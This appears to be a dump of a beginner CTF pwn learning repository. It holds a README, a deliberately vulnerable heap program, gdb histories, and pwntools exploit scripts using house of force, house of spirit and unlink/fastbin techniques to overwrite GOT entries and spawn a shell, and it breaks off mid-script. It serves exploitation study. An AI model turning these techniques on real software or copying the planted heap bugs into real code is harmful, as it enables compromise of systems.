├── README.md ├── heap ├── force_of_house │ ├── heap │ ├── heap.c │ └── pwn_heap_force.py ├── force_of_spirit │ ├── pwn_spirit.py │ └── spirit ├── heap_mix │ ├── note1 │ │ ├── .gdb_history │ │ ├── core │ │ ├── note1 │ │ ├── note1.i64 │ │ ├── peda-session-note1.txt │ │ └── solve.py │ ├── note2 │ │ ├── .gdb_history │ │ ├── core │ │ ├── note2 │ │ ├── note2.i64 │ │ ├── peda-session-note2.txt │ │ └── solve.py │ └── note3 │ │ ├── .gdb_history │ │ ├── core │ │ ├── note3 │ │ ├── note3.i64 │ │ ├── peda-session-note3.txt │ │ └── solve.py └── unlink │ ├── unlink1 │ ├── pwn_unlink.py │ └── unlink │ └── unlink2 │ ├── heap │ ├── heap.c │ └── pwn_heap_unlink.py └── stack ├── ROP ├── ret2plt │ ├── exp.py │ ├── process.txt │ └── vuln.c ├── rop-1-overwirte retaddr_solved │ ├── .gdb_history │ ├── README.md │ ├── SMALL_HINT │ ├── peda-session-rop1.txt │ ├── ret2plt │ │ ├── exp.py │ │ ├── process.txt │ │ └── vuln.c │ ├── rop1 │ ├── rop1.c │ ├── rop1.idb │ └── solve.py ├── rop-2_solved │ ├── .gdb_history │ ├── README.md │ ├── core │ ├── peda-session-rop2.txt │ ├── rop2 │ ├── rop2-20f65dd0bcbe267d.c │ ├── rop2.idb │ └── solve.py ├── rop-3-infoleak&rop_solved │ ├── .gdb_history │ ├── README.md │ ├── core │ ├── libc.so.6 │ ├── peda-session-rop3.txt │ ├── rop3 │ ├── rop3-7f3312fe43c46d26.c │ ├── rop3.idb │ ├── soln.py │ ├── solve.py │ └── solveuse2.py ├── rop-4_solved │ ├── .gdb_history │ ├── README.md │ ├── SMALL_HINT │ ├── core │ ├── peda-session-rop4.txt │ ├── rop4 │ ├── rop4.c │ ├── rop4.idb │ └── solve.py └── ssctf_pwn250 │ ├── 250 │ ├── .gdb_history │ ├── 250.idb │ ├── 250.py │ ├── exp-muhe.py │ ├── exp.py │ ├── peda-session-250.txt │ └── peda-session-dash.txt ├── fmt ├── ebp │ ├── ebp_a96f7231ab81e1b0d7fe24d660def25a.elf │ ├── exp.py │ └── exp_muhe.py └── normal │ ├── .DS_Store │ └── fmt_string_write_got │ ├── .gdb_history │ ├── core │ ├── exp.py │ ├── libc.so.6 │ ├── peda-session-pwn3.txt │ ├── pwn3 │ ├── pwn3.idb │ ├── readme │ └── solve.py ├── ret2dlreslove ├── .DS_Store └── yocto │ ├── exp.py │ ├── flag │ ├── tips.txt │ ├── wushifu.py │ └── yocto └── srop ├── orw64_solved └── solve.py ├── orw_solved └── solve.py ├── orw_solved_solved ├── .gdb_history ├── core ├── input.txt ├── orw ├── orw.idb ├── peda-session-orw.txt ├── solve.py └── sys ├── smallest- ├── smallest ├── smallest.py └── smallest2.py └── srop_test ├── exp.py ├── srop_test └── srop_test.c /README.md: -------------------------------------------------------------------------------- 1 | # LEARNING PWN DAY BY DAY 2 | *author:pUck* 3 | ## Overview 4 | *** 5 | **PWN入门题库**, 因为学习系统安全的需要,暑假伊始从零学习PWN,CTF赛题有多种多样的类型,由于小白如作者学习能力捉鸡并且两个月来琐事不断,也仅仅学会了PWN的皮毛,然而从第一次xman选拔赛遇到基础题手忙脚乱到最后线下赛(onsite)拿到一血,也算小有进步吧。网上pwn入门教程繁多,却没有系统的题库。乘记忆还没有模糊,分享一些适宜从零开始步步学习的题目。`目录`的名称即学习时候需要掌握的基本技术的``术语``,通过度娘或者谷哥你可以看到详细的介绍。 6 | *** 7 | 8 | ### DIR 9 | ``` 10 | . 11 | ├── heap 12 | │   ├── force_of_house 13 | │   ├── force_of_spirit 14 | │   ├── heap_mix 15 | │   │   ├── note1 16 | │   │   ├── note2 17 | │   │   └── note3 18 | │   └── unlink 19 | │   ├── unlink1 20 | │   └── unlink2 21 | └── stack 22 | ├── fmt #格式化字符串漏洞利用 23 | │   ├── ebp 24 | │   └── normal 25 | │   └── fmt_string_write_got 26 | ├── ret2dlreslove #当没有libc函数可供参考的解决方案 27 | │   └── yocto 28 | ├── ROP #RETURN-TO-LIBC 29 | │   ├── ret2plt 30 | │   ├── rop-1-overwirte retaddr_solved 31 | │   │   └── ret2plt 32 | │   ├── rop-2_solved 33 | │   ├── rop-3-infoleak&rop_solved 34 | │   ├── rop-4_solved 35 | │   └── ssctf_pwn250 36 | └── srop #如何利用中断指令直接完成操作而非利用函数 37 | ├── orw64_solved 38 | ├── orw_solved 39 | ├── orw_solved_solved 40 | ├── smallest- 41 | └── srop_test 42 | 43 | 44 | ``` 45 | 46 | ### note 47 | * GENERAL 48 | > PWN根据计算机内存管理的两种方式分为stack相关题目和heap相关题目,heap的内存管理机制远比stack要复杂,最好的学习方式还是刷题,作者我在学习堆管理时候找不到难度适宜的入门题目因此走了很多弯路,这个题库中的题目不多,且非常基础,适合初学者第一次学习熟悉套路。 49 | > 建议先从stack入手,按照SROP->ROP->fmt顺序学习 50 | 51 | 52 | * heap_mix 53 | > heap_mix中的题目由于记忆有些模糊,没有将题目根据方法分门别类,但是都是可以用unlink或者fastbin attack方式解决的,可以作为学习基本套路以后练手测试的题目 54 | 55 | 56 | 57 | * FINAL 58 | >推荐两个适合入门以后进一步学习的刷题平台 59 | 60 | > 脑洞较大,适合增长linux运维知识,以及一些奇诡的漏洞利用方式 61 | 62 | > 题目难度较大,很纯正的PWN赛题 63 | -------------------------------------------------------------------------------- /heap/force_of_house/heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/force_of_house/heap -------------------------------------------------------------------------------- /heap/force_of_house/heap.c: -------------------------------------------------------------------------------- 1 | /* Heap exploitation develop example. */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define HEAMNUM 16 8 | char *heap_list[HEAMNUM]; 9 | 10 | void init_proc(){ 11 | setvbuf(stdin, 0, 2, 0); 12 | setvbuf(stdout, 0, 2, 0); 13 | } 14 | 15 | void get_shell(){ 16 | system("/bin/sh"); 17 | } 18 | 19 | void menu(){ 20 | puts("----------------------"); 21 | puts(" Heap Baby "); 22 | puts("----------------------"); 23 | puts(" 1. Add a heap "); 24 | puts(" 2. View a heap "); 25 | puts(" 3. Delete a page "); 26 | puts(" 4. Edit a page "); 27 | puts(" 5. Exit "); 28 | puts("----------------------"); 29 | printf("Your choice :"); 30 | } 31 | 32 | int readn(char *buf, int n){ 33 | int len = read(0, buf, n); 34 | if(buf[len - 1] == '\n') buf[len - 1] = '\x00'; 35 | return len; 36 | } 37 | 38 | int read_int(){ 39 | char buf[16]; 40 | readn(buf, 15); 41 | return atoi(buf); 42 | } 43 | 44 | void add(){ 45 | int i; 46 | unsigned int size; 47 | char buf[16]; 48 | char *ptr, *target = NULL; 49 | for(i = 0; ; i++){ 50 | if(i >= HEAMNUM) {puts("Full"); return;} 51 | if(!heap_list[i]) break; 52 | } 53 | printf("Size :"); 54 | size = read_int(); 55 | ptr = (char *)malloc(size); 56 | if(!ptr){puts("Malloc Error"); exit(0);} 57 | heap_list[i] = ptr; 58 | printf("Content :"); 59 | readn(ptr, size); 60 | printf("Create heap @ %#x\n", ptr); 61 | } 62 | 63 | void del(){ 64 | unsigned int idx; 65 | char buf[16]; 66 | printf("Index :"); 67 | idx = read_int(); 68 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 69 | free(heap_list[idx]); 70 | // heap_list[idx] = NULL; 71 | } 72 | 73 | void edit(){ 74 | unsigned int idx, size; 75 | char buf[16]; 76 | printf("Index :"); 77 | idx = read_int(); 78 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 79 | printf("Size :"); 80 | size = read_int(); 81 | printf("Content :"); 82 | readn(heap_list[idx], size); 83 | } 84 | 85 | void view(){ 86 | unsigned int idx; 87 | char buf[16]; 88 | printf("Index :"); 89 | idx = read_int(); 90 | if(idx >= HEAMNUM || !heap_list[idx]) {puts("Invalid index"); return;} 91 | printf("Content :\n%s\n", heap_list[idx]); 92 | } 93 | 94 | int main() { 95 | int choice; 96 | init_proc(); 97 | while(1){ 98 | menu(); 99 | choice = read_int(); 100 | switch(choice){ 101 | case 1: add(); break; 102 | case 2: view(); break; 103 | case 3: del(); break; 104 | case 4: edit(); break; 105 | case 5: exit(0); break; 106 | default: puts("Invalid choice"); 107 | } 108 | } 109 | return 0; 110 | } -------------------------------------------------------------------------------- /heap/force_of_house/pwn_heap_force.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | def add(sz, content): 6 | p.sendlineafter("choice :", "1") 7 | p.sendlineafter("Size :", str(sz)) 8 | p.sendafter("Content :", content) 9 | 10 | def delete(idx): 11 | p.sendlineafter("choice :", "3") 12 | p.sendlineafter("Index :", str(idx)) 13 | 14 | def edit(idx, sz, content): 15 | p.sendlineafter("choice :", "4") 16 | p.sendlineafter("Index :", str(idx)) 17 | p.sendlineafter("Size :", str(sz)) 18 | p.sendafter("Content :", content) 19 | 20 | 21 | p = process("./heap") 22 | gdb.attach(p, execute = "c") 23 | 24 | # prepare heap 25 | add(0x1c, "aaaa") 26 | p.recvuntil("@ ") 27 | heap_base = int(p.recvline()[:-1], 16) 28 | top_chunk = heap_base + 0x18 29 | log.info("Top chunk : " + hex(top_chunk)) 30 | 31 | # overwrite top chunk size -> 0xFFFFFFFF 32 | edit(0, 0x20, "a"*0x1c + p32(0xFFFFFFFF)) 33 | raw_input() 34 | 35 | # malloc large heap 36 | target_addr = 0x804A058 37 | nb = target_addr - top_chunk 38 | nb = nb - 4 39 | add(nb, "aaaa") 40 | raw_input() 41 | 42 | # malloc overlap chunk and overwrite got entry 43 | got_atoi = 0x0804A034 44 | get_shell = 0x0804865C 45 | add(0x1c, p32(got_atoi)) 46 | edit(0, 4, p32(get_shell)) 47 | 48 | # get shell 49 | p.sendlineafter("choice :", "1") 50 | 51 | p.interactive() -------------------------------------------------------------------------------- /heap/force_of_spirit/pwn_spirit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # context.log_level = "debug" 4 | 5 | p = process("./spirit") 6 | 7 | def do_comment(name, age, reason, comment, skip = False): 8 | if not skip: 9 | p.recvuntil("name: ") 10 | p.send(name) 11 | p.recvuntil("age: ") 12 | p.sendline(str(age)) 13 | p.recvuntil("movie? ") 14 | p.send(reason) 15 | if not skip: 16 | p.recvuntil("comment: ") 17 | p.send(comment) 18 | 19 | # leak libc 20 | do_comment("test", 12, "a"*24, "comment") 21 | p.recvuntil("a"*24) 22 | IO_new_file_sync = u32(p.recvn(4)) 23 | log.success("leak libc : " + hex(IO_new_file_sync)) 24 | 25 | 26 | system = IO_new_file_sync - 1058832 # local 27 | 28 | log.success("system : " + hex(system)) 29 | 30 | # leak stack 31 | p.recvuntil(": ") 32 | p.sendline("y") 33 | do_comment("test", 12, "a"*0x50, "comment") 34 | p.recvuntil("a"*0x50) 35 | stack = u32(p.recvn(4)) 36 | log.success("leak stack : " + hex(stack)) 37 | 38 | # trigger sprintf off by one 39 | p.recvuntil(": ") 40 | p.sendline("y") 41 | for i in xrange(8): 42 | do_comment("test", 12, "reason", "comment") 43 | p.recvuntil(": ") 44 | p.sendline("y") 45 | for i in xrange(11, 101): 46 | if i % 10 == 0: 47 | log.info("adding comment %d..." % i) 48 | do_comment("test", 12, "reason", "comment", skip = True) 49 | p.recvuntil(": ") 50 | p.sendline("y") 51 | 52 | # house of spirit 53 | 54 | fake_heap = 'b'*12 55 | fake_heap += p32(0x41) 56 | fake_heap += 'c'*(0x40-4) 57 | fake_heap += p32(0x21) 58 | payload = "a"*0x54 59 | payload += p32(stack-0x60) 60 | 61 | log.info("addr stack : " + hex(stack-60)) 62 | do_comment("test", 12, fake_heap, payload) 63 | p.recvuntil(": ") 64 | # gdb.attach(p, execute = "b *0x080488C9\nb *0x0804868A\nc") 65 | p.sendline("y") 66 | payload = '/bin/sh\x00'.ljust(0x44, 'a') 67 | payload += p32(system) 68 | payload += p32(0xdeadbeef) 69 | payload += p32(stack-0x60) 70 | payload += p32(0) 71 | payload += p32(0) 72 | do_comment(payload, 12, "reason", "comment") 73 | p.recvuntil(": ") 74 | p.sendline("n") 75 | p.interactive() 76 | -------------------------------------------------------------------------------- /heap/force_of_spirit/spirit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/force_of_spirit/spirit -------------------------------------------------------------------------------- /heap/heap_mix/note1/.gdb_history: -------------------------------------------------------------------------------- 1 | parseheap 2 | parseheap 3 | x /wx 0xd44000 4 | x /32wx 0xd44000 5 | x /64wx 0xd44000 6 | x /128wx 0xd44000 7 | x /128gx 0xd44000 8 | set *0xd44318=0x00602002 9 | x /128gx 0xd44000 10 | c 11 | x /128gx 0xd44000 12 | parseheap 13 | x /128wx 0x603000 14 | x /128wx 0x603000 15 | x /128gx 0x603000 16 | set *0x603318=0x0602002 17 | x /128gx 0x603000 18 | c 19 | parseheap 20 | set *0x603318=0x0602002 21 | C 22 | x /128gx 0x603000 23 | x /gx 0x0000000000602002 24 | x /32gx 0x0000000000602002 25 | c 26 | c 27 | c 28 | c 29 | cc 30 | c 31 | c 32 | c 33 | c 34 | x /gx 0x602008 35 | x /32gx 0x602008 36 | c 37 | c 38 | c 39 | c 40 | c 41 | c 42 | c 43 | c 44 | x /wx 0x0602010 45 | x /32gx 0x0602010 46 | x /32gx 0x0602010 47 | x /32gx 0x0602010-32 48 | x /gx 0x00007ffff7def 49 | c 50 | c 51 | c 52 | c 53 | set *0x0602010=0 54 | set *0x0602018=0 55 | ni 56 | c 57 | set $rax=0 58 | ni 59 | c 60 | c 61 | c 62 | x /32gx 0x0602010 63 | x /32gx 0x0602010-32 64 | x /128gx 0x603000 65 | x /32gx 0x0602010-32 66 | x /wx 0x00007ffff7defee0 67 | x /gx 0x00000000004007560 68 | x /gx 0x601fb0 69 | c 70 | c 71 | c 72 | c 73 | x /32gx 0x0602010-32 74 | c 75 | c 76 | c 77 | x /s 0000602028 78 | x /s 0x000602028 79 | c 80 | c 81 | x /32gx 0x0602010-32 82 | x /128gx 0x603000 83 | x /128gx 0x603000 84 | print system 85 | x /32gx 0x0602010-32 86 | c 87 | c 88 | c 89 | c 90 | x /gx 0x7ffff7a63b50 91 | c 92 | c 93 | c 94 | c 95 | x /wx 0x7ffff7a63b50 96 | c 97 | c 98 | c 99 | x /wx 0x0601fb8+0x40 100 | x /gx 0x0601fb8+0x40 101 | x /32gx 0x0601fb8+0x40 102 | c 103 | c 104 | c 105 | c 106 | x /wx 0x7ffff7a45c80 107 | c 108 | c 109 | c 110 | c 111 | c 112 | x /wx /home/puck/myCTFs/note1/solve.py 113 | x /wx 0x0601fb8+0x40 114 | x /gx 0x0601fb8+0x40 115 | c 116 | c 117 | c 118 | c 119 | c 120 | c 121 | c 122 | c 123 | c 124 | x /wx 0x0601fb8+0x40 125 | x /32gx 0x0601fb8+0x40 126 | x /32gx 0x0601fb8+0x40 127 | c 128 | c 129 | c 130 | c 131 | c 132 | x /32gx 0x0601fb8+0x40 133 | x /32gx 0x0601fb8+0x40 134 | c 135 | c 136 | c 137 | c 138 | c 139 | x /32gx 0x0601fb8+0x40 140 | c 141 | c 142 | c 143 | c 144 | c 145 | c 146 | c 147 | c 148 | c 149 | c 150 | c 151 | c 152 | parseheap 153 | x /gx 0x603600 154 | x /32gx 0x603600 155 | x /gx 0x0000000000601ff0 156 | x /32gx 0x0000000000601ff0 157 | c 158 | c 159 | c 160 | x /32gx 0x0000000000601ff0 161 | x /32gx 0x0000000000601ff0 162 | c 163 | ni 164 | x /wx 0x602000 165 | x /32gx 0x602000 166 | x /wx 0x0000000000601e28 167 | x /gx 0x0000000000601e28 168 | c 169 | c 170 | c 171 | C 172 | C 173 | C 174 | C 175 | C 176 | C 177 | C 178 | C 179 | C 180 | C 181 | x /128gx 0x603000 182 | c 183 | -------------------------------------------------------------------------------- /heap/heap_mix/note1/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note1/core -------------------------------------------------------------------------------- /heap/heap_mix/note1/note1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note1/note1 -------------------------------------------------------------------------------- /heap/heap_mix/note1/note1.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note1/note1.i64 -------------------------------------------------------------------------------- /heap/heap_mix/note1/peda-session-note1.txt: -------------------------------------------------------------------------------- 1 | break *0x0000400BBC 2 | 3 | -------------------------------------------------------------------------------- /heap/heap_mix/note1/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from pwn import * 3 | e=ELF("/lib/x86_64-linux-gnu/libc.so.6") 4 | setvbuf_off=e.symbols["setvbuf"] 5 | system_off=e.symbols["system"] 6 | p=process("./note1") 7 | 8 | 9 | # struct: 10 | # -16 prev size 11 | # -8 size inuse 12 | # +0 fd 13 | # +8 bk 14 | # +16 titles 15 | # +80 type 16 | # +112content 17 | # +368 next structbegin 18 | 19 | 20 | # 思路: 21 | # 1. overwrite bk, leak got 22 | # 2. overwrite atoi to system 23 | 24 | def add(title,mytype,content): 25 | p.sendlineafter("option--->>",str(1)) 26 | p.sendlineafter("Enter the title:",title) 27 | p.sendlineafter("Enter the type:",mytype) 28 | p.sendlineafter("Enter the content:",content) 29 | log.success("add success") 30 | def edit(title,content): 31 | p.sendlineafter("option--->>",str(3)) 32 | p.sendlineafter("title:",title) 33 | p.sendlineafter("content:",content) 34 | print p.recvuntil("success") 35 | 36 | def dlt(title): 37 | p.sendlineafter("option--->>",str(4)) 38 | p.sendlineafter("Input the note title:",title) 39 | # RCX: 0x602020 --> 0x400706 (<__stack_chk_fail@plt+6>: push 0x1) 40 | 41 | add("AAAA","BBBB","CCCC") 42 | add("AABB","BBBB","CCCC") 43 | add("BBAACD","BBBB","CCCC") 44 | pay="a"*(256+8)+p64(0x181)+p64(0)+p64(0x0601fb8+0x40-0x8)+"BBAACD" 45 | edit("AABB",pay) 46 | p.sendlineafter("option","2") 47 | print p.recvuntil("content=") 48 | print p.recvuntil("content=") 49 | _setvbuf=p.recvuntil("\n")[:-1] 50 | setvbuf=_setvbuf.ljust(8,"\00") 51 | setvbuf=u64(setvbuf) 52 | log.success("setvbuf is "+hex(setvbuf)) 53 | base=setvbuf-setvbuf_off 54 | log.success("base is "+hex(base)) 55 | system=base+system_off 56 | log.success("system is "+hex(system)) 57 | 58 | 59 | #区分清楚程序逻辑! 60 | add("KKII","KKPP","KKO") 61 | add("LLKKII","LLKKPP","LKKOO") 62 | print "addddddd done!" 63 | pay="a"*(256+8)+p64(0x181)+p64(0)+p64(0x0601fb8+0x40-0x8)+"BBAACD" 64 | edit("KKII",pay) 65 | # raw_input("xxxxxxxxxxxx") 66 | edit(p64(0x000601e28),p64(setvbuf)+p64(system)) 67 | p.sendlineafter("option--->>","/bin/sh") 68 | 69 | log.success("ok,get shell !!...") 70 | p.interactive() 71 | #linker beginner: 0x00006020B0 72 | -------------------------------------------------------------------------------- /heap/heap_mix/note2/.gdb_history: -------------------------------------------------------------------------------- 1 | parseheap 2 | parseheap 3 | x /32gx 0x795000 4 | c 5 | parseheap 6 | fastbins 7 | x /gx 0x603050 8 | x /32gx 0x603050 9 | x /32gx 0x795000 10 | x /32gx 0x795000 11 | parseheap 12 | x /32gx 0x603050 13 | x /32gx 0x603050 14 | x /32gx 0x603050 15 | fastbin 16 | fastbins 17 | fastbins 18 | x /32gx 0x603050 19 | x /32gx 0x603050 20 | pasrseheap 21 | parseheap 22 | fastbins 23 | smallbins 24 | smallbins 25 | parseheap 26 | x /gx 0x603000 27 | x /g32x 0x603000 28 | x /32gx 0x603000 29 | x /32gx 0x603000 30 | fasbins 31 | fastbin 32 | smallbin 33 | c 34 | x /32gx 0x603050 35 | parseheap 36 | fastbins 37 | c 38 | ni 39 | x /gx 0x7fffffffda40 40 | x /32gx 0x7fffffffda40 41 | C 42 | x /32gx 0x7fffffffda40 43 | ni 44 | x /32gx 0x7fffffffda40 45 | parseheap 46 | c 47 | c 48 | x /gx 0x603000 49 | x /32gx 0x603000 50 | c 51 | x /32gx 0x7fffffffda40 52 | ni 53 | x /32gx 0x7fffffffda40 54 | x /32gx 0x7fffffffda40 55 | x /gx 0x6020e0 56 | c 57 | x /32gx 0x7fffffffda40 58 | ni 59 | x /32gx 0x7fffffffda40 60 | c 61 | x /32gx 0x7fffffffda40 62 | ni 63 | x /32gx 0x7fffffffda40 64 | c 65 | ni 66 | x /gx 0x6020f0 67 | x /32gx 0x6020f0 68 | parseheap 69 | parseheap 70 | c 71 | parseheap 72 | c 73 | c 74 | c 75 | ni 76 | fastbins 77 | smallbins 78 | x /gx 0x603040 79 | x /32gx 0x603040 80 | x /gx 0x602110 81 | x /32gx 0x602110 82 | x /32gx 0x602110-32 83 | fasbins 84 | fasbin 85 | fastbin 86 | c 87 | c 88 | ni 89 | fastbin 90 | c 91 | c 92 | c 93 | c 94 | fastbin 95 | x /gx 0x602100 96 | x /32gx 0x602100 97 | fastbin 98 | parseheap 99 | x /wx 0x603000 100 | c 101 | c 102 | c 103 | c 104 | c 105 | c 106 | c 107 | fastbin 108 | x /32gx 0x602100 109 | c 110 | c 111 | c 112 | c 113 | c 114 | c 115 | print system 116 | c 117 | c 118 | c 119 | c 120 | c 121 | c 122 | print got 123 | print atoi_got 124 | x /32gx 00602018 125 | x /32gx 0x0602018 126 | x /32gx 0x0602018 127 | c 128 | c 129 | c 130 | c 131 | c 132 | c 133 | c 134 | c 135 | x /32gx 0x602100 136 | print atoi 137 | x /gx 0x0000000000602088 138 | c 139 | c 140 | c 141 | x /32gx 0x602100 142 | fasbin 143 | fastbin 144 | parseheap 145 | x /gx 0x603000 146 | x /32gx 0x603000 147 | x /64gx 0x603000 148 | c 149 | c 150 | c 151 | -------------------------------------------------------------------------------- /heap/heap_mix/note2/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note2/core -------------------------------------------------------------------------------- /heap/heap_mix/note2/note2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note2/note2 -------------------------------------------------------------------------------- /heap/heap_mix/note2/note2.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note2/note2.i64 -------------------------------------------------------------------------------- /heap/heap_mix/note2/peda-session-note2.txt: -------------------------------------------------------------------------------- 1 | break *0x0400F1C 2 | break *0x00400F45 3 | 4 | -------------------------------------------------------------------------------- /heap/heap_mix/note2/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | ''' 3 | 好诡异,为什么free以后都入smallbin了???? 4 | 所以思路不能用fastbin attack , unlink也不行,堆溢出走不通 5 | 所以 6 | 溢出temp_malloc进行将chunk定位到heap_list和heap_size_list上 7 | leak libc,然后改atoi为system,再发送/bin/sh就可以getshell 8 | ''' 9 | from pwn import * 10 | e=ELF("/lib/x86_64-linux-gnu/libc.so.6") 11 | atoi_off=e.symbols["atoi"] 12 | system_off=e.symbols["system"] 13 | p=process("./note2") 14 | def init(name,address): 15 | p.sendlineafter("name:",name) 16 | p.sendlineafter("address",address) 17 | 18 | def add(length,content): 19 | p.sendlineafter("-->>","1") 20 | p.sendlineafter("length of the note content:",str(length)) 21 | p.sendlineafter("Input the note content:",content) 22 | 23 | def show(idx): 24 | p.sendlineafter("-->>","2") 25 | p.sendlineafter("Input the id of the note:",idx) 26 | def overwrite(idx,content): 27 | p.sendlineafter("-->>","3") 28 | p.sendlineafter("Input the id of the note:",str(idx)) 29 | p.sendlineafter("[1.overwrite/2.append]","1") 30 | p.sendlineafter("TheNewContents:",content) 31 | def append(idx,content): 32 | p.sendlineafter("-->>","3") 33 | p.sendlineafter("Input the id of the note:",str(idx)) 34 | p.sendlineafter("[1.overwrite/2.append]","2") 35 | p.sendlineafter("TheNewContents:",content) 36 | def dlt(idx): 37 | p.sendlineafter("-->>","4") 38 | p.sendlineafter("Input the id of the note:",str(idx)) 39 | print "dlt done ..." 40 | 41 | name="A"*32+p64(0)+p64(0x81)+"bbbbbS" 42 | address=p64(0)+p64(0x11)+"\00"*0x10#+p64(0x11)#fastbin并不会发生合并,所以后面的inuse不重要 43 | init(name,address) 44 | add(12,"AAAA")#p64(0xdeadbeef) 45 | add(0,"bbbb") 46 | add(12,"CCCC") 47 | # add(12,"DDDD") 48 | # dlt(2) 49 | # 50 | # gdb.attach(p,''' 51 | # b *0x0400F1C 52 | # b *0x00400F45 53 | # x /32gx 0x6020E0 54 | # ''') 55 | fakechunk=0x6020e0+32+16 56 | pay1="u"*128+p64(fakechunk) 57 | overwrite(1,pay1) 58 | print "lets malloc now ..." 59 | atoi_got=0x0602088 60 | pay=p64(0xdeadbeef)*2+p64(atoi_got) 61 | add(120,pay) 62 | p.sendlineafter("-->>","2") 63 | p.sendlineafter("Input the id of the note:","0") 64 | p.recvuntil("Content is ") 65 | addr=p.recvuntil("\n")[:-1] 66 | addr=u64(addr.ljust(8,"\00")) 67 | atoi=addr 68 | log.success("atoi: "+hex(atoi)) 69 | base=atoi-atoi_off 70 | log.success("base: "+hex(base)) 71 | system=system_off+base 72 | log.success("system: "+hex(system)) 73 | overwrite(0,p64(system)) 74 | p.sendlineafter("-->>","/bin/sh") 75 | p.interactive() 76 | -------------------------------------------------------------------------------- /heap/heap_mix/note3/.gdb_history: -------------------------------------------------------------------------------- 1 | parseheap 2 | x /32gx 0x006020C0 -32 3 | fastbin 4 | x /32gx 0x006020C0-32 5 | parseheap 6 | parseheap 7 | x /wx 0x2034050 8 | x /32gx 0x2034050 9 | parseheap 10 | smallbins 11 | smallbins 12 | parseheap 13 | x /32gx 0x24c9000 14 | x /48gx 0x24c9000 15 | x /48gx 0x24c9000 16 | parseheap 17 | x /48gx 0x603000 18 | x /48gx 0x603000 19 | x /48gx 0x603000 20 | x /48gx 0x603000 21 | x /48gx 0x603000 22 | x /96gx 0x603000 23 | parseheap 24 | x /96gx 0x603000 25 | x /96gx 0x603000 26 | c 27 | ni 28 | x /32gx 0x006020C0 29 | x /32gx 0x006020C0-32 30 | c 31 | ni 32 | c 33 | x /32gx 0x006020C0-32 34 | x /96gx 0x603000 35 | c 36 | c 37 | x /gx 0x603210 38 | x /32gx 0x603210 39 | x /32gx 0x603210-96 40 | x /96gx 0x603000 41 | c 42 | ni 43 | c 44 | x /96gx 0x603000 45 | x /96gx 0x603000 46 | x /96gx 0x603000 47 | parseheap 48 | x /96gx 0x603000 49 | c 50 | x /96gx 0x603000 51 | x /gx 06020c0 52 | x /gx 0x6020c0 53 | x /32gx 0x6020c0 54 | x /32gx 0x6020c0 55 | x /96gx 0x603000 56 | x /96gx 0x603000 57 | c 58 | ni 59 | x /96gx 0x603000 60 | c 61 | ni 62 | x /96gx 0x603000 63 | x /32gx 0x6020c0 64 | c 65 | x /32gx 0x6020c0 66 | c 67 | c 68 | c 69 | c 70 | x /32gx 0x6020c0 71 | x /32gx 0x6020c0 72 | c 73 | c 74 | x /32gx 0x6020c0 75 | c 76 | c 77 | x /32gx 0x6020c0 78 | x /32gx 0x602070 79 | c 80 | c 81 | c 82 | c 83 | c 84 | c 85 | x /32gx 0x6020c0 86 | x /gx 0x0000000000602018 87 | x /32gx 0x0000000000602018 88 | x /32gx 0x0000000000602018 89 | x /32gx 0x6020c0 90 | c 91 | c 92 | c 93 | c 94 | print atoi 95 | c 96 | c 97 | x /32gx 0x6020c0 98 | x /32gx 0x6020c0 99 | x /gx 0x0000000000602070 100 | c 101 | ni 102 | c 103 | x /gx 0x0000000000602070 104 | x /32gx 0x6020c0 105 | x /32gx 0x6020c0 106 | x /32gx 0x6020c0 107 | x /32gx 0x6020c0 108 | x /96gx 0x603000 109 | c 110 | x /32gx 0x6020c0 111 | x /gx 0x0000000000602018 112 | x /gx 0x00007ffff7a53380 113 | x /gx 0x0000000000603300 114 | c 115 | c 116 | c 117 | c 118 | parseheap 119 | -------------------------------------------------------------------------------- /heap/heap_mix/note3/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note3/core -------------------------------------------------------------------------------- /heap/heap_mix/note3/note3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note3/note3 -------------------------------------------------------------------------------- /heap/heap_mix/note3/note3.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ckxckx/pwn_step_in/76457e73a52c757478d6e3dbba51b321c197f676/heap/heap_mix/note3/note3.i64 -------------------------------------------------------------------------------- /heap/heap_mix/note3/peda-session-note3.txt: -------------------------------------------------------------------------------- 1 | break *0x400BB9 2 | 3 | 4 | -------------------------------------------------------------------------------- /heap/heap_mix/note3/solve.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | from pwn import * 3 | p=process("./note3") 4 | e=ELF("/lib/x86_64-linux-gnu/libc.so.6") 5 | setvbuf_off=e.symbols["setvbuf"] 6 | system_off=e.symbols["system"] 7 | atoi_off=e.symbols["atoi"] 8 | def new(length,content): 9 | p.sendlineafter("--->>","1") 10 | 